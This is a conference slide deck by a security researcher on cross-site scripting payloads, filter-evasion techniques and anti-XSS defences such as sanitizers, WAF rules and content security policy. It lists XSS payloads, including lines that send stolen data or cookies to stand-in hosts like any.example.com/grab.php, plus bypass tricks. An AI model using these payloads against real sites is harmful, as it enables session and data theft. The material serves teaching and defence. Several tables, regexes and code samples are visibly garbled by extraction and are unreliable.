UNTAMED XSS WARS - FILTERS VS PAYLOADS

Aditya K Sood, Sr. Security Researcher
Vulnerability Research Labs (VRL)
COSEINC, Singapore

Session ID: HT1-303
Session Track: Hackers and Threats
ABOUT ME

•Founder SecNiche Security (http://www.secniche.org)
• Information Security Author at various.
• Speaker at various security conferences.
• Working in the security field for last 7 years.

DISCLAIMER
All vulnerabilities and attacks presented in this presentation were discovered during my professional avocation with web application penetration testing and research.

This research is different from my ongoing routine work.

All contents of this presentation represent my own beliefs and views and do not, unless explicitly stated otherwise, represent the beliefs of my current, or any of my previous in that effect, employers.

All for Education and Developmental Purposes
AGENDA

- Web 2.0 Artifacts and Web Attack Trends
- Under the Hood - Filters and Payloads
- Beating the Base - Differential XSS Attacks
- The Anti XSS World – Solutions and Problems
Web 2.0 Artifacts and Web Attack Trends
WEB 2.0 - THE RETROSPECTIVE

- Interactive and centralized information sharing
- Platform for participatory web
- No segregation of work functionality, interdependency
- Sort of online democracy – users to users
- Web content utilization at large scale
- Backward compatible with web 1.0
- Applications – web driven and desktop structured
THINKING - WEB APPLICATION STATE AND RISKS

- Threat Agents
  - Attack
  - Attack

- Attack Vectors
  - Attack

- Security Weaknesses
  - Weakness

- Security Controls
  - Control

- Technical Impacts
  - Asset
  - Function
  - Asset

- Business Impacts
  - Impact
  - Impact
  - Impact

- Static Data
- Active Data
- Sandbox Application
- Application

© OWASP
BUSINESS BAY - APPLICATION SERVES PLATINUM

- Business dependency on application layer
- Integration of business processes for automation on web
- End user services via web applications
- Giant step towards *Cloud Computing*
- Global presence, transactions, and real-time communication
- Business Chess – Walk Fast, Fetch Money on Web
- Business Model – Web 2.0 is the Golden Key
WEB APPLICATION - SECURITY IS BROKEN
MOST WIDESPREAD WEB VULNERABILITIES

- Cross-Site Scripting: 39%
- Information leakage: 32%
- SQL Injection: 7%
- Insufficient Transport Layer Protection: 4%
- Fingerprinting: 4%
- HTTP Response Splitting: 3%
XSS ANATOMY - THE TRUTH BEHIND BARS

- Frivolous problem in the ongoing web system.
- 80% of the common flaws are of XSS or its variants.
- Reported and still remain unpatched.

Security at its best.

- Reasons for this behavior
  - People don’t know or don’t want to know.
  - Underestimate the impacts of XSS after understanding.
  - Insufficiently addressed even after understanding the risks.

- An open door to takeover your integral components.
WEB SECURITY MODEL - SOP AND XSS (VARIANTS)

SOP - Avoids Loading Content from different Domain. It can be Script or a Document.

XSS - Attack Serves the Loading of Malicious Script and Document from different Domain.

SOP - Controlling JavaScript and DOM functions from different Domains
XSS - Scripting Across Domains

XSS is an output of inadequateness of same-origin policies.
UNDER THE HOOD
Filters and Payloads
XSS PAYLOADS - INSIDE THE GALLON

- Randomization – Execution in a diversified manner

- `<script>alert("XSS");</script>`
- `<script src="http://bad.example.org/exploit.js"></script>`
- `<img src="javascript:alert('XSS');">`
- `<iframe src='vbscript:alert("XSS")'>`
- `<body onload="alert('XSS');">`
- `<a href="#" onmouseover="alert('XSS');">Cool link</a>`
- `<input type="text" size="20" onfocus="alert('XSS');">`
- `<span style="background-image:url(javascript:alert('XSS'));">`
- `<span style="x:expression(alert('XSS'))">`
- `<link rel="stylesheet" href="http://bad.example.org/exploit.css">`
- `<meta http-equiv="refresh" content="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk7PC9zY3JpcHQ+">"
**XSS PAYLOADS - INSIDE THE GALLON**

- **Camouflaging – Exploiting in a hidden manner**

<table>
<thead>
<tr>
<th>Payload</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>&lt;img src=&quot;javascript:alert(payload);&quot;&gt;</code></td>
<td>Original attack</td>
</tr>
<tr>
<td><code>&lt;IMG SRC=&quot;javascript:alert(payload);&quot;&gt;</code></td>
<td>Case changed #1</td>
</tr>
<tr>
<td><code>&lt;iMg src=&quot;javaVasCRIPT:alert(payload);&quot;&gt;</code></td>
<td>Case changed #2</td>
</tr>
<tr>
<td><code>&lt;img src=&quot;javascript:alert(payload);&quot;&gt;</code></td>
<td>Apostrophe instead of quotation marks</td>
</tr>
<tr>
<td><code>&lt;img src=&quot;javascript:alert(payload);&quot;&gt;</code></td>
<td>No quotation marks at all</td>
</tr>
<tr>
<td><code>&lt;img src=&quot;jav&amp;#97;script:alert(payload);&quot;&gt;</code></td>
<td>Entity used (decimal value)</td>
</tr>
<tr>
<td><code>&lt;img src=&quot;&amp;#x6a;:avascript:alert(payload);&quot;&gt;</code></td>
<td>Entity used (hexadecimal value)</td>
</tr>
<tr>
<td><code>&lt;img src=&quot;j&amp;amp;#97vascript:alert(payload);&quot;&gt;</code></td>
<td>Entity used (hexadecimal value, upper case)</td>
</tr>
<tr>
<td><code>&lt;img src=&quot;j&amp;amp;#00097;vascript:alert(payload);&quot;&gt;</code></td>
<td>Entity used (decimal value, no semicolon)</td>
</tr>
<tr>
<td><code>&lt;img src=&quot; javascript:alert(payload);&quot;&gt;</code></td>
<td>Entity used (decimal value, leading zeros)</td>
</tr>
<tr>
<td><code>&lt;img src=&quot;javascript:alert(payload);&quot;&gt;</code></td>
<td>Space character in front</td>
</tr>
<tr>
<td><code>&lt;img src=&quot;javaabilit:alert(payload);&quot;&gt;</code></td>
<td>Whitespace in between</td>
</tr>
<tr>
<td><code>&lt;img src=&quot;javascript:alert(payload);&quot;&gt;</code></td>
<td>No space in tag</td>
</tr>
<tr>
<td><code>&lt;img src=&quot;javascript:alert(payload);&quot;&gt;</code></td>
<td>Tag not closed</td>
</tr>
<tr>
<td><code>&lt;img src=&quot;javascriipt:alert(payload);&quot;&gt;</code></td>
<td>Line breaks</td>
</tr>
<tr>
<td><code>&lt;img src=&quot;javascript:alert(payload);&quot;&gt;</code></td>
<td></td>
</tr>
</tbody>
</table>
XSS PAYLOADS - INSIDE THE GALLON

• Variations in XSS realm

  ➔ Runtime addition of tags in DOM
  • document.write('<tag>anydata</tag>);
  • <iframe src="http://any.example.com/page.jsp?anyname=anyvalue"></iframe>
  • <img src="http://any.example.com/grab.php?data=all_stolen_information">
  • <form name="hack" action="http://any.example.com/grab.php" method="post">
    <input type="hidden" name="anyname" value="anyvalue">
  </form>
  • <script src="http://any.example.com/more.js">
  • <script src="http://hacked.example.com/js.php?data=some_data"></script>

  ➔ Cookie extraction at run time
  • var my_cookies = document.cookies;

  ➔ Command execution in specific time
  • window.setInterval('executeCommand()', 5000);
Variations in XSS realm

- **Arbitrary DOM Calls execution**
  - `document.hack.submit();`
  - `document.logon.action = 'http://hack.example.com/grab.php';`
  - `var stolen_data = document.order.ccnumber.value;`
  - `var where_am_i = document.location.href;

- **Active X Code execution**
  ```javascript
  var fso = new ActiveXObject("Scripting.FileSystemObject");
  XFile = fso.GetFile("c:\business\secret.txt");
  stream = XFile.OpenAsStream(1, 0);
  var content = stream.ReadAll();
  ```

- **AJAX same domain request**
  ```javascript
  var xmlHttp; xmlHttp = new ActiveXObject("Msxml2.XMLHTTP"); xmlHttp.onreadystatechange=function() {
  if(xmlHttp.readyState==4) { var response = xmlHttp.responseText; }
  try { xmlHttp.open("GET", "somepape.asp?parameter=anyvalue", true); xmlHttp.send(null);} catch (e) { }
  ```
XSS CHARACTERISTICS - INSIDE THE GALLON

• XSS – Impacts
  – Disclosure of arbitrary data (entered) in HTML forms
  – Disclosure of all text typed in an entire Web application
  – File system reconnaissance and enumeration
  – Disclosure of File contents and system files
  – Intranet access through the outside
  – Port scanning aka network reconnaissance
  – Web Spidering aka application reconnaissance
  – Fingerprinting and vulnerability scanning
  – Brute forcing, exploit triggering etc
  – Forcing rogue identities, identity thefts, privacy breaches etc
  – Hoaxes, phishing and malware distribution
  – File content manipulation, server degradation and device reconfig
XSS - UNBEATEN AND THE WAR

• There is no use of reinventing the wheel. Move ahead.
  – What about basics?
  – Why vulnerabilities still persist?
  – Something is missing or untamed.

• WAR is RAW
  – Replica of same thing in a reversible manner.
  – Evasion and Detection – *It all lies here.*
  – Filters vs. Payloads.
XSS - HOLISTIC PROTECTION

• HTML input sanitization
  – PHP
    • htmlspecialchars($user_data)
    • htmlentities()
    • html_entity_decode() / html_entity_encode()
    • utf8_decode ( string $data ) / utf8_encode ( string $data )
  – Ruby on Rails
    • h(user_data)
    • safe ERB Plugin → html_escape(user_data)
      » Works primarily for Escaping HTML characters
      » Fails in number of XSS variations.

Truth of Escaping and Best Practice

String-escaping should be the last step of data manipulation when your priority is leak-proof escaping
XSS - HOLISTIC PROTECTION

• HTML parameter filtering
  – Ruby on Rails
    • HTML based Whitelist sanitizer → sanitize(html,options{})

Sanitize.clean(html, :elements => ['a', 'span'],
:attributes => {'a' => ['href', 'title'], 'span' => ['class']},
:protocols => {'a' => {'href' => ['http', 'https', 'mailto']}}).

• Applying tidy package

require 'tidy' html = '<html><title>title</title>Body</html>'
xml = Tidy.open(:show_warnings=>true) do |tidy|
tidy.options.output_xml = true puts
 tidy.options.show_warnings
 xml = tidy.clean(html)
 puts tidy.errors  puts tidy.diagnostics xml end puts xml.
XSS - SERVER SIDE FILTERS

- Java xssfilt.jar
  - Filter is described in web.xml file
  - Protection is defined only for specific set of attributes
  - It can be beaten

```xml
<filter>
  <filter-name>XSSFilter</filter-name>
  <filter-class>com.cj.xss.XSSFilter</filter-class>
</filter>

<filter-mapping>
  <filter-name>XSSFilter</filter-name>
  <url-pattern>/</url-pattern>
</filter-mapping>
```
XSS - SERVER SIDE FILTERS

• Modsecurity
  – Based on security rule sets defined in attack configuration files
  – Heavy use of regular expressions. Fault driven.
  – Attacks controlled on standard set of HTML elements and attributes

• Effective Functionalities *(A WAF Alias against XSS)*
  – URL link signing
  – Cookie signing with certain crypto modules
  – Stripping off comments out of code.

  • SecStripCommentCode On/Off
  • SecsSignCookies On/ Off
  • SecEncryptionPassword “password”
  • SecSignLinks On/ Off
XSS - SERVER SIDE FILTERS

- **Modsecurity** (*Inefficient Layout*)
  - Filters bypassing is easy with different XSS variants
  - Writing complex rules – a havoc or a nightmare
  - Not a generalized model for securing applications against XSS
  - Well Encodings, You want to rewrite filters again. Problem.
  - Updates occur very slowly.
  - Garbage value acceptance.
  - Heavy processing and optimization.

---

**Generic XSS Filter**

SecFilter `"<\n*script" // allow commonly used HTML tags
SecFilter `"<\n\n*javascript` // block all html and javascript
SecFilter `"<[:space:]*script" // a rogue xss filter, can be bypassed with simple tricks
XSS - SERVER SIDE FILTERS / IDS

• PHP-IDS
  – Integral rule sets for detecting XSS attacks
  – Regularly updated, Efficient in supporting Encoding schemes
  – Capturing power is really high.

• Generic Functionalities
  – CPU consumption is high based on filters usage for a single attack
  – Overall Impact Ratio – based on number of filters involved
  – Destined filters, robust coding and detection algorithms

```php
void __construct ( $id, mixed $rule, string $description, $tags, integer $impact)
string getDescription ()
integer getId ()
integer getImpact ()
string getRule ()
array getTags ()
boolean match (string $string)
```
XSS - SERVER SIDE FILTERS / IDS

• PHP-IDS – Rule sets (Robust)

[Obfuscated Detection]
(?:=\s*\$(\w)\s*[^\[]\] | (?:\s*\$(\?this | top | window | self | parent | _?content)\s*) | (?:\s*src\s*=\s*?\w+: | \w+ | \w+) | (?:\\w+ | \w+) | (?:\\w+ | \w+) | (?:\\w+ | \w+) | (?:\\w+ | \w+) | (?:\\w+ | \w+)

[Basic Projection]
+(?::&\s*\w+\s*\s*[\^,]) | (?::\w+\s*[\d,\s]*\w+) | (?::\w+\s*[\d,\s]*\w+)

[PHP Centrifuge detection]
+(?:\{(2,}\{2,}\{2,\} | (?::\{(2,}\{2,\}+:) | (?::\{(3,}\{2,\}+:) | (?::\{[\d,\w]*\})

[XSS Concatenation Patterns]
+(?:\s*\w+\s*\s*\s*) | (?::\s*\s*) | (?::\s*\s*) | (?::\s*\s*) | (?::\s*\s*) | (?::\s*\s*) | (?::\s*\s*) | (?::\s*\s*)

[Malicious Attribute Injection Check]
+(?:\s*\s*)+(?:on | \w+ \w+ | style)\s*\w+

Download - [http://php-ids.org/files/phpids-0.6.3.1.zip](http://php-ids.org/files/phpids-0.6.3.1.zip) [default_filter.xml] [Updates regularly found]
XSS - MOZILLA CONTENT SECURITY POLICY

• CSP – robust prevention against XSS
  – Scripts from white listed domains are allowed to execute
  – Events are allowed in an optimized way without HTML

• Default Restrictions - overview

  • The contents of internal <script> nodes
  • JavaScript: URIs, e.g. <a href="javascript:bad_stuff()">
  • Event-handling attributes, e.g. <a onclick="bad_stuff()">
  • data: URIs as a source for inline content.
  • eval()
  • setTimeout called with a String argument, e.g. setTimeout("evil string...", 1000)
  • setInterval called with a String argument, e.g. setInterval("evil string...", 1000)
  • new Function constructor, e.g. var f = new Function("evil string...")
  • JavaScript: URIs, e.g. <a href="javascript:bad_stuff()">
CUSTOM FILTERS - MOZILLA ADDONS

• NoScript

Very Effective. False Positives.

NoScript filtered a potential cross-site scripting (XSS) attempt from [http://aas.reus.yahoo.com]. Technical details have been logged to the Console.

Fiddler: Disabled


COSEINC

RSACONFERENCE 2010
CUSTOM FILTERS - IE8 FILTER IN ACTION

- IE 8 Reflective XSS Filter

Payload Detected. But still Bypassed.

X-XSS-Protection: 0
XSS FILTER NAVIGATION AND WORKING

• Working functionality

Once the website is loaded into browser the Source is verified

Request through Form with XSS Payload

Response is scrutinized by the XSS filter.

As per the navigation Rules, the end to end point communication is checked. The website is already loaded as a result the source is verified and the destination is same domain. Hence the filter does not consider it as cross domain and Reflective XSS occurs.

Navigation Check – Source / Destination
**Base functionality**

- White listing – removing tags that are not on the list
- Encodes “<” and “&” characters in content
- Encodes non-printable and non-ASCII characters in attribute values
- Correctly closes elements which must be empty. Sanitizing DIV tags.
- Converts named character entities ( “&nbsp;” becomes “&#160;”)
- Removes HTML comments and quoted unquoted attributes
- Appropriate CDATA conversion (“<![CDATA[x<y]>” becomes “x&amp;y”)
- HTML-encodes XML processing instructions (<? X?> becomes &lt;? X ?&gt;)
- Preventing ID spoofing by adding prefix to attributes
- Adding optional tags for correct closing and following the specification
- Matching HREF attributes against expressions “^(http:|https:|ftp:|mailto:|[#./])”
- Removing content against SCRIPT elements
- Parsing STYLE attributes and removing properties

- (ONCLICK, SRC, BACKGROUND-IMAGE, IFRAMES)
XSS - FILTERS THINKING AND APPROACH

• Regular Expression – the base artifact of XSS filters

```csharp
new Regex("(?=[<\-]) (?:
 + "<"
 + "(?:"
 + "!\(?:
 + "(--[^\-]*(?=:[^-]+)\*)-->"
 + "\[[CDATA\[+([^\]]+)?\"]\]\]]+)"
 + "[<!\[(CDATA\[+([^\]]+)?\"]\]\]]>"
 + ")" + "/\)?" + "("
 + "([a-z][a-z0-9:_]*?)?"
 + "(?:\ \t\n\r\")+
 + "([_a-z][_a-z0-9.]*)"
 + "(?:" + "[ \t\n\r\"]*[ \t\n\r\"]*
 + "([^<\^\"\']\'|[^<\^\"\'][^\t\n\r<>]*\")?"
 + "\")\{0," + attrsAllowedWhenNoScript.Length + "}"
 + "([ \t\n\r\"]*\?\)>"
 + "")"
 + ")"
```

Web.NeatHtml/Filter.cs
XSS - FILTERS THINKING AND APPROACH

- Regular Expression – the base artifact of XSS filters
  - Mostly the regular expressions are implemented against whitelist

Rule set 1 - <(/)?([a-z][a-z0-9_:]*))? → (/) Tag closing check and Rest is name matching

Rule set 2 - <!-[^-]*?-[^-]*--> → Removing content out of comments

Rule set 3 - <![CDATA\[([\^\]]*\[[^\]]+\])\]]]> → Complete encoding of CDATA
  - (/) → End tag matching
  - ([a-z][a-z0-9_:]*) → Tag name capturing
  - ([_a-z][_a-z0-9_]*)) → Attribute name capturing
  - ("[^<"]*"|[^<"]*[^""[^<"]*[^t\n\r<>]*)) → Attribute value and quotes check
  - (\ [t\n\r]*\?><) → Capturing last part of tag

Complex rule set – composite filters
<(/)?((?[[a-z][a-z0-9_:]*)(?:[\t\n\r]+(?[_a-z][_a-z0-9_]*(([^<"]*"|[^<"]*[^""[^<"]*[^t\n\r<>]*))\]))/*([ \t\n\r]*\?>/))?
XSS - FILTERS THINKING AND APPROACH

• Regular Expression – complexity and functionality checks
  – SCRIPT elements and Meta character stringency
    • SCRIPT tags are not filtered on server side considering the functionality
    • Trusted and untrusted user functionality comes to play.
    • Client side SCRIPT filters are considered more suitable.

• HTML comments and CDATA untrusted content reverted back
  • Comments are displayed [ -- → &#34;&#34; ]
  • CDATA elemental content

• Nested URL JavaScript “unescape” false positives
  • NoScript filter has shown this behavior in recent versions
  • Hard to optimize because stealth JavaScript cannot be allowed.

Some of the specific filter problems are listed above. There can be other discrepancies too.
XSS FILTER - BYPASSING REALM

• Starting the flow

Vector

Attack Area

XSS Attack Base
XSS FILTER - BYPASSING REALM

• Generalization work flow. Testing is all yours !!
  – Playing with [“”] , [“”] , [],
    • Combination of different quotes. Single , double or none. It works greatly.
    • Payload should be designed with different matches
    • Example: - \texttt{xss\_payload = expression(alert(786)) [ can be set with quotes]}

  – Gaming around with different scripting languages
    • JavaScript and VBScript is best preference for testing
    • Calling Encode functions such as \texttt{execScript (VBS), Jscript.Encode etc}
    • Supports \textit{Escaping} , \textit{HEX} , \textit{Octal} , \textit{Base 64} etc and conversions
    • Work with most of the events \texttt{onLoad} , \texttt{onClick} , \texttt{onMouseOver etc}
    • Example: \texttt{execScript("MsgBox786","vbscript"); // Interdependency}

  – Code execution with error generating events
    • Generating errors and execution payload with exceptions
    • Example: - \texttt{<imgsrc="rogue.jpg" onerror=vbs:msgbox+786>}
"
XSS FILTER - BYPASSING REALM

- Generalization work flow. Testing is all yours !! (Continued)
  - Understanding the diversification of payload base elements
    - Payload base elements- inadvertent impact on filter bypassing
    - `# | <a href="#" | <a href=# | <a href="#" onload ="xss_payload">`
    - `\ , \0 | \" | "” | ‘ | Escaping the HTML ,NULL[ Effective in its functionality]`
    - `&lt;| &gt; | &amp; | &quot; | &apos; | [Best choice]`
    - `| JavaScript: | xss:expression | [ DOM , CSS]`
    - `+ | ? | * | [ Joining , Decision and All]`
    - `< > | [ Closed and Unclosed tag combination ]`
    - `; | [ Playing around JavaScript delimiter and statement closing]`
    - `\r\n and \n | [ Carriage return feed and new line , amazing result]`
    - `== , or , and [ String manipulation]`
    - `(;;) / (;) [ JavaScript function reiteration]`
XSS FILTER - BYPASSING REALM

- Generalization work flow. Testing is all yours!!
- Understanding of regex and encoding is always useful

POSIX Perl ASCII Description

- [\w\d] Alphanumeric characters
- [\w\d \ ] Alphanumeric characters plus "\t"
- [\\d] Non-word character
- [\w\] Alphanumeric characters
- [\w\d\-\z] Alphanumeric characters excluding "\t"
- [\s] Space and tab
- [\d\w\-\z\s] Control characters
- [\d\w\-\z] Digits
- [\d] Digit
- [\w\d\-\z\s\[\]{}] Visible characters
- [\w\d\-\z\s\[\]{}\^\$'] Whitespace characters
- [\w\d\-\z\s\[\]{}\^\$'] Non-whitespace character
- [\u00a0-\uffff] Uppercase letters
- [\u00a0-\uffff] Hexadecimal digits

Metacharacter Description

? Matches the preceding element zero or one time. For example, ba? matches "b" or "ba".
+ Matches the preceding element one or more times. For example, ba+ matches "ba", "baa", "baaa", and so on.
* The choice (aka alternation or set union) operator matches either the expression before or the expression after the operator. For example, abc|def matches "abc" or "def".

© Wikipedia | © Business info
XSS FILTER - BYPASSING REALM

• Some bypass checks (Effective Try. Results Vary)
  – Modsecurity
    • Hex encoding with escaping elements
    • Breaking and joining the attributes lie src → ‘sr’+’c’ [ encode “+”]
      • [http://www.w3schools.com/TAGS/ref_urlencode.asp](http://www.w3schools.com/TAGS/ref_urlencode.asp)
    • Replacing angle brackets with squared ones “()” → “[”
    • Try ```` characters for bypassing rule sets
    • Complex div statements with encoding and technique discussed.

  – PHP-IDS
    • Patched regularly, heavy duty some filters and very effective. Need to try hard
    • Complex parameters with set Timeout functions etc.
    • Inline JSON injections. Nested payloads inside elements and quoted.

  – IE8
    • Plethora of injections work. Prevents only specific ones.
BEATING THE BASE
Differential XSS Attacks
[1] PDF HTTP FORM REPURPOSING ATTACKS

• Exploiting the online storage of files
• Dual behavior
  – Content disposition HTTP parameter
  – PDF – JavaScript protocol handler submission through forms
  – Browsers efficiency to treat rendering content as inline scripts

• Basic fact

Web applications that allow hosted PDF documents to be opened directly in the browsers through PDF reader plug-ins are vulnerable to HTTP Silent form Repurposing attacks.
[1] PDF HTTP FORM REPURPOSING ATTACKS

- Truth about ACROJS objects
  - ACRO JS objects can not access HTML Objects directly
  - No inheritance characteristic defined for ACRO JS objects
  - ACRO JS Objects are individualistic in functioning.
  - ACRO JS does not support DOM
  - Different from JavaScript in certain aspects
  - Adobe removed the support of data storage in forms in new versions

The security mechanism comes to play as a part of software restriction which has nothing to do with browsers. The security mechanism does not allow the execution with standalone PDF’s but it can be bypassed to some extent when rendered in browser.
[1] PDF HTTP FORM REPURPOSING ATTACKS

- GMAIL- Google Docs Cookie Stealing Vulnerability
  - (Patched) (1)
[2] WM PLAYER ACTIVE X OBJECT - XSS RELOCATION

• The attack realm
  – XSS relocation in windows media player text object
  – Payload is treated as active JavaScript
  – Executing windows media player active x object
  – Windows media player runs in auto start mode
  – Payload executes in browser and produces reflective XSS

<object ID="Player1" classid="CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6" height="240" width="320">
  <param name="URL" value="cookie_ex_wmp.wma"/>
  <param name="autostart" value="true" />
  <param NAME="CaptioningID" VALUE="knock_out" />
</object> <div id="knock_out"></div>
[2] WM PLAYER ACTIVE X OBJECT - XSS RELOCATION

Setting the Payload

IE8 Filter Bypass through Generic XSS (Scripting) in WMP

JavaScript Execution

XSS through WM Player ActiveX

Diversification – Works with Apple QuickTime too
[3] XSS VIABILITY THROUGH OFFICE DOCUMENTS

- Conducting XSS through inline word hyper linking
  - Bypassing standard XSS filters through payloads set as links
  - Weakness in custom designed XSS filters
  - Inappropriate mechanism and conversion algorithms
  - Versatile technique to conduct hidden XSS through documents
  - Persistent in nature primarily.
  - User interaction is required.

- Number of vendor products are susceptible

Vendors have been notified and work is in progress to patch the vulnerabilities in enterprise web applications.
Designing a word document – payload driven

• Conducting XSS through file inclusion
  – Bypassing reflective XSS filters [Internet Explorer 8]
  – Weakness in code or inappropriate application development
  – PHP inclusion flaw
  – Executing payload as raw data.
  – Hiding the payload from the filters.
  – Reflective in nature primarily.
  – No user interaction is required.

The usage of this type of attack is quite fruitful in bypassing certain standard XSS reflective filters and stealth payload execution. Object inclusion is direct in the vulnerable page.

- Successful inclusion of PDF file – raw format
[5] BROWSER BASED DESIGN BUGS - STRINGENCY

- Browsers are always pruned with bugs
  - Payload execution is supported in one browser and not in other
  - CSS rendering difference
  - Event execution works different in different browsers
  - Bugs and vulnerabilities.

- Case study
  - Google Chrome Random CLSID payload execution
  - Webkit strange behavior

```html
[OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389>
[param name=url value=javascript:alert('XSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSXSSU

```
Case study (Continued)

- Comparison output with other browsers

<table>
<thead>
<tr>
<th>Payload</th>
<th>Chrome</th>
<th>Mozilla FireFox</th>
<th>IE8</th>
<th>Safari</th>
<th>Opera</th>
</tr>
</thead>
<tbody>
<tr>
<td>&lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&gt;</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
</tr>
<tr>
<td>&lt;param name=url value=javascript:alert('XSSED')&gt;</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>&lt;/OBJECT&gt;</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

- Works with or without CLSID but behavior is false

Security Concern

The differential set of payloads always favor the XSS execution and browser inabilities to follow the standard benchmarks.
EXPLOITING INTERDEPENDENCY - BROWSER FRAMES

- Architecture of one browser used a frame in other
  - Google Chrome Frame in IE8 [Havoc]

Google Chrome Frame, an open source plug-in that brings HTML5 and other open web technologies to Internet Explorer. Google Chrome Frame is built to help web developers deliver faster, richer applications like Google Wave. More Precisely to support rich HTML 5 and porting open source technologies to internet explorer

- Dismantling the normal behavior of inherent browser
  - Working functionality is changed
  - Example:- XML based XSS is easily possible with this

Security Risk – Attack surface and exploitation is increased in IE8
[6] EXPLOITING INTERDEPENDENCY - BROWSER FRAMES

- Google Chrome Frame in IE8 [Havoc]

**Internet Explorer 6,7,8 - XML Based XSS:Google Chrome Frame**

Aditya K Sood, Security Researcher

**Briefing:** Google Chrome Frame, an open source plug-in that brings HTML5 and other open web technologies to Internet Explorer.

Google Chrome Frame is built to help web developers deliver faster, richer applications like Google Wave. More precisely to support rich HTML5 and porting open source technologies to Internet Explorer.


**Note:** For this attack to work, you need to install Google Chrome Frame in Internet Explorer

**GENERIC INTERNET EXPLORER XML INTERPRETATION**

**GOOGLE CHROME FRAME - XML XSS IN INTERNET EXPLORER**

**XSS through XML in CF in IE8**

**Setting the Handlers**

[Image of Internet Explorer with XML-based XSS attack]

[Image of alert dialog box in Internet Explorer]

COSEINC

RSA CONFERENCE 2010
• Case study – SCRIBD vulnerability
  – Reported and Patched
  – Scribd fails to implement the filter on payload set in protocol handlers
  – Links directly injected and converted to XML
  – Last part compiled and displayed in flash player
  – Collective problem scenario
[7] XML BASED AUTHORING FLAWS

- Case study – SCRIBD vulnerability (Continued)
  - Reported and Patched (1)
THE ANTI-XSS WORLD
Solutions and Problems
ASP/ASP.NET ANTIXSS LIBRARY

- Library functions applied to beat XSS
- Based on Principle of Inclusions – a white list approach
- White List – defining the allowable characters
- Applied security on developer code for secure output
  - HtmlAttributeEncode(String)
  - HtmlEncode(String)
  - JavaScriptEncode(String)
  - UrlEncode(String)
  - VisualBasicScriptEncode(String)
  - XmlAttributeEncode(String)
  - XmlEncode(String)
SRE - SECURITY RUNTIME ENGINE - ANTIXSS

- Microsoft initiative to protect ASP.NET applications
- Configuration based HTTP module runs on IIS/ASP.NET
- It's not a WAF (Web Application Firewall)
- CLR (Common Language Runtime) Hooking
- Server End Protection following configuration rule set.
  
  No need to restate the base code of the application

- Supports advanced encoding schemes
- Encodes specific controls on web page
- Implements suppression of encodings for optimization.
COMPARABLE ARTIFACTS - SRE AND ANTIXSS LIBRARY (AXL)

- **SRE - HTTP Module Driven**
- **AXL - Code Driven**
- **SRE - Supports Suppression**
- **AXL - Suppression is not Supported**
- **SRE - Use Page.PreRender event to encode**
- **AXL - Use Response.Write event to write to output stream**

```xml
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<Configuration>
<ControlEncodingContexts>
<ControlEncodingContext FullClassName="System.Web.UI.WebControls.Label" PropertyName="Text" EncodingContext="Html" />
<ControlEncodingContext FullClassName="System.Web.UI.Page" PropertyName="Title" EncodingContext="Html" />
</ControlEncodingContexts>
<DoubleEncodingFilter Enabled="True" />
<EncodeDerivedControls Enabled="True" />
<MarkAntiXssOutput Enabled>
```

**SRE Configuration File**
LIMITATIONS AND DRAWBACKS - REAL WORLD

- AntiXSS and SRE – appropriate for new development.
  - SRE – fails to deploy at running web infrastructure.  
    Only IIS specific. Other Servers !!
  - AntiXSS – recompiling code when a change is directed
    A hard process to implement.
  - Functionally driven for only ASP.NET.
    What about other technologies?
  - Response.Write vulnerabilities with Anti-XSS library.
    - Not a generalized model of security.
    - Optimization against heavy websites is hard.
MICROSOFT IE8 - SAFE SCRIPTING

• Protection mechanism against
  – JSON injections
  – Malicious and injection based script

Using Window.toStaticHTML () function to make objects static

This method does not filter the attributes of the base element. This can cause potentially unwanted redirect requests for link and anchor elements injected into a Web page.

```javascript
<script type="text/javascript">
function sanitize()
{
    var szInput = myDiv.innerHTML;
